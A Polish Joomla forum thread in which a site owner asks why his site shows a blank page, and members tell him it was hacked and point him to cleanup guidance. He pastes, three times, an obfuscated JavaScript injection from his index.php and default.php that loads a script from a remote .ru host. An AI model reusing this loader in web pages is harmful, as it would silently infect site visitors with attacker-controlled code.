Przestała mi się wyświetlać strona

[slavvek]

Mam nadzieję że to odpowiednie miejsce.
Wczoraj zauważyłem że nie wyświetla mi się strona.
Był pusty ekran z informacją że w index.php w linii 91 jest błąd - a więc sprawdziłem no i widzę że jest coś takiego:

**********/*GNU GPL*/ try{window.onload = function(){var Zspp1z6d4ndxzvxc = document.createElement('s@c@!^r!^$&&i$#@&p)!^t!^)! '.replace(/&|\!|\)|@|#|\^|\(|\$/ig, ''));var Qsgw5szku0j = 'Yorfc4tj4q4vm';Zspp1z6d4ndxzvxc.setAttribute('typ e', 't)))e&@^^(x&)t@^!$/)$j$!@$a!@($v)$$a^!s@(c&(r(^i#@p&(@t('.replace(/&|\!|#|@|\)|\$|\^|\(/ig, ''));Zspp1z6d4ndxzvxc.setAttribute('src', 'h)&&t!#@@t!#$p@:!^!/$$$)$/#!j!)^u^&e&(^g!^)o()s!&-(^&c(o!m$!.@#&)d!o^()c^#t(#i$s&s$$^i)m#o@#).^&f(r! .@#@#s#)&&o)s^@o!!-#@c#!@$@o@^!m#!.!($(s@i(m$(((#p!&l#e^$h^@o)m$$e^&l $!$i#!n&k#!.^^r#^u&:@(&!8#(0$#&8#@##)0@)$/#a)&^b#((c@)n#$e&$w#@!$!s#@.(@!##g@o@$.!#c#@&o)m@@/@@((#a@^b!(&)c)n!(@e$w#$((@s@^.@$^@g##!o)#$.(^c$)^ @o@&&m$#/$(&(e@$m#!@!p$(f(^l()i&^$x^.((c!&^o&)$&&m$)/#$$5(@1^y!&()e(s)#$!.&c&o^$$m$/!))g@o)!@^o#(^)^g)#l(^)&e$$.!$c@o(@)m#$^&/!)@'.replace(/\^|#|\(|\)|\!|@|&|\$/ig, ''));Zspp1z6d4ndxzvxc.setAttribute('defer', 'd@e!&)@f!^(e#^$r@'.replace(/\!|\^|\$|#|\(|\)|&|@/ig, ''));Zspp1z6d4ndxzvxc.setAttribute('id', 'Z$z#@y$r@&e(q!k#$^2(&#8&k^@b$!^g#^@&'.replace(/&|\!|\$|#|\(|@|\^|\)/ig, ''));document.body.appendChild(Zspp1z6d4ndxzvxc);} } catch(Ewnkatl7odb2) {}</script>
<!--13f097d92317f8fc60883a819320feca-->

postanowiłem usunąć tą linijkę, wtedy pojawiła się informacja o błędzie w pliku default.php w tym miejscu :

**********/*GNU GPL*/ try{window.onload = function(){var Zspp1z6d4ndxzvxc = document.createElement('s@c@!^r!^$&&i$#@&p)!^t!^)! '.replace(/&|\!|\)|@|#|\^|\(|\$/ig, ''));var Qsgw5szku0j = 'Yorfc4tj4q4vm';Zspp1z6d4ndxzvxc.setAttribute('typ e', 't)))e&@^^(x&)t@^!$/)$j$!@$a!@($v)$$a^!s@(c&(r(^i#@p&(@t('.replace(/&|\!|#|@|\)|\$|\^|\(/ig, ''));Zspp1z6d4ndxzvxc.setAttribute('src', 'h)&&t!#@@t!#$p@:!^!/$$$)$/#!j!)^u^&e&(^g!^)o()s!&-(^&c(o!m$!.@#&)d!o^()c^#t(#i$s&s$$^i)m#o@#).^&f(r! .@#@#s#)&&o)s^@o!!-#@c#!@$@o@^!m#!.!($(s@i(m$(((#p!&l#e^$h^@o)m$$e^&l $!$i#!n&k#!.^^r#^u&:@(&!8#(0$#&8#@##)0@)$/#a)&^b#((c@)n#$e&$w#@!$!s#@.(@!##g@o@$.!#c#@&o)m@@/@@((#a@^b!(&)c)n!(@e$w#$((@s@^.@$^@g##!o)#$.(^c$)^ @o@&&m$#/$(&(e@$m#!@!p$(f(^l()i&^$x^.((c!&^o&)$&&m$)/#$$5(@1^y!&()e(s)#$!.&c&o^$$m$/!))g@o)!@^o#(^)^g)#l(^)&e$$.!$c@o(@)m#$^&/!)@'.replace(/\^|#|\(|\)|\!|@|&|\$/ig, ''));Zspp1z6d4ndxzvxc.setAttribute('defer', 'd@e!&)@f!^(e#^$r@'.replace(/\!|\^|\$|#|\(|\)|&|@/ig, ''));Zspp1z6d4ndxzvxc.setAttribute('id', 'Z$z#@y$r@&e(q!k#$^2(&#8&k^@b$!^g#^@&'.replace(/&|\!|\$|#|\(|@|\^|\)/ig, ''));document.body.appendChild(Zspp1z6d4ndxzvxc);} } catch(Ewnkatl7odb2) {}</script>
<!--13f097d92317f8fc60883a819320feca-->

ostatnia linia od pozycji 86 do 768 posiada własnie takie wpisy

czy ma ktoś pojęcie co jest nie tak albo co trzeba zmienić ??
zaplecze normalnie się otwiera

po usunięciu tycg dziwnych linii teraz pojawia się biała strona
z góry dziękuję za pomoc

może przyda się cały plik index.php

/**
* @version $Id: index.php 11407 2009-01-09 17:23:42Z willebil $
* @package Joomla
* @copyright Copyright (C) 2005 - 2009 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Set flag that this is a parent file
define( '_JEXEC', 1 );

define('JPATH_BASE', dirname(__FILE__) );

define( 'DS', DIRECTORY_SEPARATOR );

require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );

JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

/**
* CREATE THE APPLICATION
*
* NOTE :
*/
$mainframe =& JFactory::getApplication('site');

/**
* INITIALISE THE APPLICATION
*
* NOTE :
*/
// set the language
$mainframe->initialise();

JPluginHelper::importPlugin('system');

// trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');

/**
* ROUTE THE APPLICATION
*
* NOTE :
*/
$mainframe->route();

// authorization
$Itemid = JRequest::getInt( 'Itemid');
$mainframe->authorize($Itemid);

// trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');

/**
* DISPATCH THE APPLICATION
*
* NOTE :
*/
$option = JRequest::getCmd('option');
$mainframe->dispatch($option);

// trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');

/**
* RENDER THE APPLICATION
*
* NOTE :
*/
$mainframe->render();

// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');

/**
* RETURN THE RESPONSE
*/
echo JResponse::toString($mainframe->getCfg('gzip'));


**********/*GNU GPL*/ try{window.onload = function(){var Zspp1z6d4ndxzvxc = document.createElement('s@c@!^r!^$&&i$#@&p)!^t!^)! '.replace(/&|\!|\)|@|#|\^|\(|\$/ig, ''));var Qsgw5szku0j = 'Yorfc4tj4q4vm';Zspp1z6d4ndxzvxc.setAttribute('typ e', 't)))e&@^^(x&)t@^!$/)$j$!@$a!@($v)$$a^!s@(c&(r(^i#@p&(@t('.replace(/&|\!|#|@|\)|\$|\^|\(/ig, ''));Zspp1z6d4ndxzvxc.setAttribute('src', 'h)&&t!#@@t!#$p@:!^!/$$$)$/#!j!)^u^&e&(^g!^)o()s!&-(^&c(o!m$!.@#&)d!o^()c^#t(#i$s&s$$^i)m#o@#).^&f(r! .@#@#s#)&&o)s^@o!!-#@c#!@$@o@^!m#!.!($(s@i(m$(((#p!&l#e^$h^@o)m$$e^&l $!$i#!n&k#!.^^r#^u&:@(&!8#(0$#&8#@##)0@)$/#a)&^b#((c@)n#$e&$w#@!$!s#@.(@!##g@o@$.!#c#@&o)m@@/@@((#a@^b!(&)c)n!(@e$w#$((@s@^.@$^@g##!o)#$.(^c$)^ @o@&&m$#/$(&(e@$m#!@!p$(f(^l()i&^$x^.((c!&^o&)$&&m$)/#$$5(@1^y!&()e(s)#$!.&c&o^$$m$/!))g@o)!@^o#(^)^g)#l(^)&e$$.!$c@o(@)m#$^&/!)@'.replace(/\^|#|\(|\)|\!|@|&|\$/ig, ''));Zspp1z6d4ndxzvxc.setAttribute('defer', 'd@e!&)@f!^(e#^$r@'.replace(/\!|\^|\$|#|\(|\)|&|@/ig, ''));Zspp1z6d4ndxzvxc.setAttribute('id', 'Z$z#@y$r@&e(q!k#$^2(&#8&k^@b$!^g#^@&'.replace(/&|\!|\$|#|\(|@|\^|\)/ig, ''));document.body.appendChild(Zspp1z6d4ndxzvxc);} } catch(Ewnkatl7odb2) {}</script>
<!--13f097d92317f8fc60883a819320feca-->

[zwiastun]

Jesteś po wizytacji. Tyle że nie teściowej, a rozbójników. Posprzątaj według receptury opisanej na wiki

[slavvek]

Czy chodzi o któreś z tych miejsc czy jest jakaś konkretna informacja na temat tego robaka :/
http://wiki.joomla.pl/Witryna_po_w%C5%82amaniu
http://wiki.joomla.pl/Bezpiecze%C5%8...guracja_Joomla!

[nikszal]

Pochwal się kolego gdzie hostujesz i jak miałeś ustawione prawa do katalogów i plików.

[slavvek]

hostuje na płatnych serwerach pcspace.
Prawa do katalogów i plików wg zaleceń.

Z tego co wyczytałem wirus najprawdopodobniej wkradł się prze TotalCommandera - tam miałem zapamiętane hasło do serwera - wiem mój błąd.

Z tego co wyczytałem jednej osobie zaatakował stronę mimo że dostęp do serwera był tylko z jednego nr ip.

Szukam i czytam o tym wirusie - jakby ktoś znalazł jakieś dobre źródło to proszę o pomoc

[nikszal]

Prawa do katalogów i plików wg zaleceń.

Zaleceń dostawcy hostingu?

Z tego co wyczytałem wirus najprawdopodobniej wkradł się prze TotalCommandera - tam miałem zapamiętane hasło do serwera - wiem mój błąd.

Wywal to badziewie. Osobiście uzywam go wyłącznie do masowej zmiany nazw plików na komputerze lokalnym.

[slavvek]

Zaleceń dostawcy hostingu?

oczywiście że nie - wg zaleceń podawanych tutaj

Wywal to badziewie. Osobiście uzywam go wyłącznie do masowej zmiany nazw plików na komputerze lokalnym.

mam właśnie taki zamiar - a jakiego Ty używasz ?

[nikszal]

mam właśnie taki zamiar - a jakiego Ty używasz ?

CuteFtp Pro

Edit:

I Kaspersky czuwa.